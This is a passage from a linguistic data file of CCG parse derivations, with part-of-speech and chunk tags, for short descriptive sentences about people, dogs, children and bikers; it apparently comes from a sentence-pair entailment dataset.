t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'back', 'back', 'NN', 'I-NP', 'O'))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(812,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'red', 'red', 'JJ', 'I-NP', 'O'),
fa(n,
ba(n/n,
t(n/n, 'hair', 'hair', 'NN', 'I-NP', 'O'),
conj((n/n)\(n/n), n/n,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
t(n/n, 'red', 'red', 'JJ', 'I-NP', 'O'))),
t(n, 'eyebrows', 'eyebrow', 'NNS', 'I-NP', 'O')))))),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'midspeech', 'midspeech', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(813,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'people', 'people', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'driving', 'drive', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'jeep', 'jeep', 'NN', 'I-NP', 'O'))))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'lady', 'lady', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'top', 'top', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
t(np, 'it', 'it', 'PRP', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(814,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'people', 'people', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'driving', 'drive', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'jeep', 'jeep', 'NN', 'I-NP', 'O'))))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'top', 'top', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
t(np, 'it', 'it', 'PRP', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(815,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
ba(n,
t(n, 'adults', 'adult', 'NNS', 'I-NP', 'O'),
conj(n\n, n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n, 'children', 'child', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:pss\np),
t((s:dcl\np)/(s:pss\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
ba(s:pss\np,
t(s:pss\np, 'gathered', 'gather', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'near', 'near', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'outdoor', 'outdoor', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'seating', 'seating', 'NN', 'I-NP', 'O'),
t(n, 'arrangement', 'arrangement', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(816,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
ba(n,
t(n, 'adults', 'adult', 'NNS', 'I-NP', 'O'),
conj(n\n, n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n, 'children', 'child', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'gathered', 'gather', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'near', 'near', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'outdoor', 'outdoor', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'seating', 'seating', 'NN', 'I-NP', 'O'),
t(n, 'arrangement', 'arrangement', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(817,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:pt\np), 'has', 'have', 'VBZ', 'I-VP', 'O'),
fa(s:pt\np,
t((s:pt\np)/np, 'colored', 'color', 'VBN', 'I-VP', 'O'),
ba(np,
lx(np, n,
t(n, 'patches', 'patch', 'NNS', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'cheeks', 'cheek', 'NNS', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(818,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O'))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
t(n, 'shirt', 'shirt', 'NN', 'I-NP', 'O'))),
conj(np\np, np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
lx(np, n,
fa(n,
t(n/n, 'pink', 'pink', 'JJ', 'I-NP', 'O'),
t(n, 'beads', 'bead', 'NNS', 'I-NP', 'O')))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(819,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'dogs', 'dog', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'through', 'through', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(820,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'dogs', 'dog', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'through', 'through', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'high', 'high', 'JJ', 'I-NP', 'O'),
t(n, 'grass', 'grass', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(821,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'Some', 'some', 'DT', 'I-NP', 'O'),
ba(n,
t(n, 'people', 'people', 'NNS', 'I-NP', 'O'),
conj(n\n, n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n, 'vehicles', 'vehicle', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'crowded', 'crowded', 'JJ', 'I-NP', 'O'),
t(n, 'street', 'street', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(822,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'Some', 'some', 'DT', 'I-NP', 'O'),
ba(n,
t(n, 'people', 'people', 'NNS', 'I-NP', 'O'),
conj(n\n, n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n, 'vehicles', 'vehicle', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
fa(n/n,
t((n/n)/(n/n), 'almost', 'almost', 'RB', 'I-NP', 'O'),
t(n/n, 'empty', 'empty', 'JJ', 'I-NP', 'O')),
t(n, 'street', 'street', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(823,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'painted', 'painted', 'JJ', 'I-NP', 'O'),
t(n, 'face', 'face', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/pp, 'next', 'next', 'JJ', 'I-ADVP', 'O'),
fa(pp,
t(pp/np, 'to', 'to', 'TO', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'some', 'some', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'other', 'other', 'JJ', 'I-NP', 'O'),
t(n, 'children', 'child', 'NNS', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(824,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
t(n, 'Children', 'Child', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
fa(s:pss\np,
t((s:pss\np)/pp, 'dressed', 'dress', 'VBN', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'costumes', 'costume', 'NNS', 'I-NP', 'O'))))),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'game', 'game', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(825,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'bmx', 'bmx', 'NN', 'I-NP', 'O'),
t(n, 'biker', 'biker', 'NN', 'I-NP', 'O'))),
lx(np\np, s:ng\np,
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'dirt', 'dirt', 'NN', 'I-NP', 'O'),
t(n, 'ramps', 'ramp', 'NNS', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
t(n, 'front', 'front', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'body', 'body', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(826,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
fa(n,
t(n/n, 'bmx', 'bmx', 'NN', 'I-NP', 'O'),
t(n, 'bikers', 'biker', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'dirt', 'dirt', 'NN', 'I-NP', 'O'),
t(n, 'ramps', 'ramp', 'NNS', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
t(n, 'front', 'front', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'body', 'body', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(827,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'doing', 'do', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'trick', 'trick', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'skateboard', 'skateboard', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(828,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'doing', 'do', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'trick', 'trick', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'skateboard', 'skateboard', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(829,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'motocross', 'motocross', 'NN', 'I-NP', 'O'),
t(n, 'uniform', 'uniform', 'NN', 'I-NP', 'O'))))),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'helmet', 'helmet', 'NN', 'I-NP', 'O')))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/np, 'rides', 'ride', 'VBZ', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'red', 'red', 'JJ', 'I-NP', 'O'),
t(n, 'motorcycle', 'motorcycle', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(830,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'motocross', 'motocross', 'NN', 'I-NP', 'O'),
t(n, 'uniform', 'uniform', 'NN', 'I-NP', 'O'))))),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'helmet', 'helmet', 'NN', 'I-NP', 'O')))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/np, 'rides', 'ride', 'VBZ', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'red', 'red', 'JJ', 'I-NP', 'O'),
t(n, 'motorcycle', 'motorcycle', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(831,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'striped', 'striped', 'JJ', 'I-NP', 'O'),
t(n, 'shirt', 'shirt', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'behind', 'behind', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'water', 'water', 'NN', 'I-NP', 'O'),
t(n, 'fountain', 'fountain', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(832,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'striped', 'striped', 'JJ', 'I-NP', 'O'),
t(n, 'shirt', 'shirt', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
t(n, 'front', 'front', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'water', 'water', 'NN', 'I-NP', 'O'),
t(n, 'fountain', 'fountain', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(833,
rp(s:dcl,
ba(s:dcl,
rp(np,
ba(np,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
fa(n,
t(n/n, 'large', 'large', 'JJ', 'I-NP', 'O'),
t(n, 'dogs', 'dog', 'NNS', 'I-NP', 'O')))),
conj(np\np, np,
t(comma, ',', ',', ',', 'O', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'light', 'light', 'NN', 'I-NP', 'O')),
lx(np\np, s:pss\np,
fa(s:pss\np,
t((s:pss\np)/np, 'colored', 'color', 'VBN', 'I-VP', 'O'),
ba(np:nb,
lx(np, n,
t(n, 'one', 'one', 'CD', 'I-NP', 'O')),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'dark', 'dark', 'JJ', 'I-NP', 'O'),
t(n, 'one', 'one', 'CD', 'I-NP', 'O')))))))))),
t(comma, ',', ',', ',', 'O', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'sleeping', 'sleep', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'snowy', 'snowy', 'JJ', 'I-NP', 'O'),
t(n, 'terrain', 'terrain', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(834,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'dogs', 'dog', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'leaping', 'leap', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'through', 'through', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
fa(n,
t(n/n, 'snowy', 'snowy', 'JJ', 'I-NP', 'O'),
t(n, 'grass', 'grass', 'NN', 'I-NP', 'O'))),
conj(np\np, np,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
lx(np, n,
t(n, 'rocks', 'rock', 'NNS', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(835,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'blue', 'blue', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'sliding', 'slide', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'down', 'down', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'green', 'green', 'JJ', 'I-NP', 'O'),
t(n, 'slide', 'slide', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(836,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'blue', 'blue', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'enjoying', 'enjoy', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'slide', 'slide', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(837,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
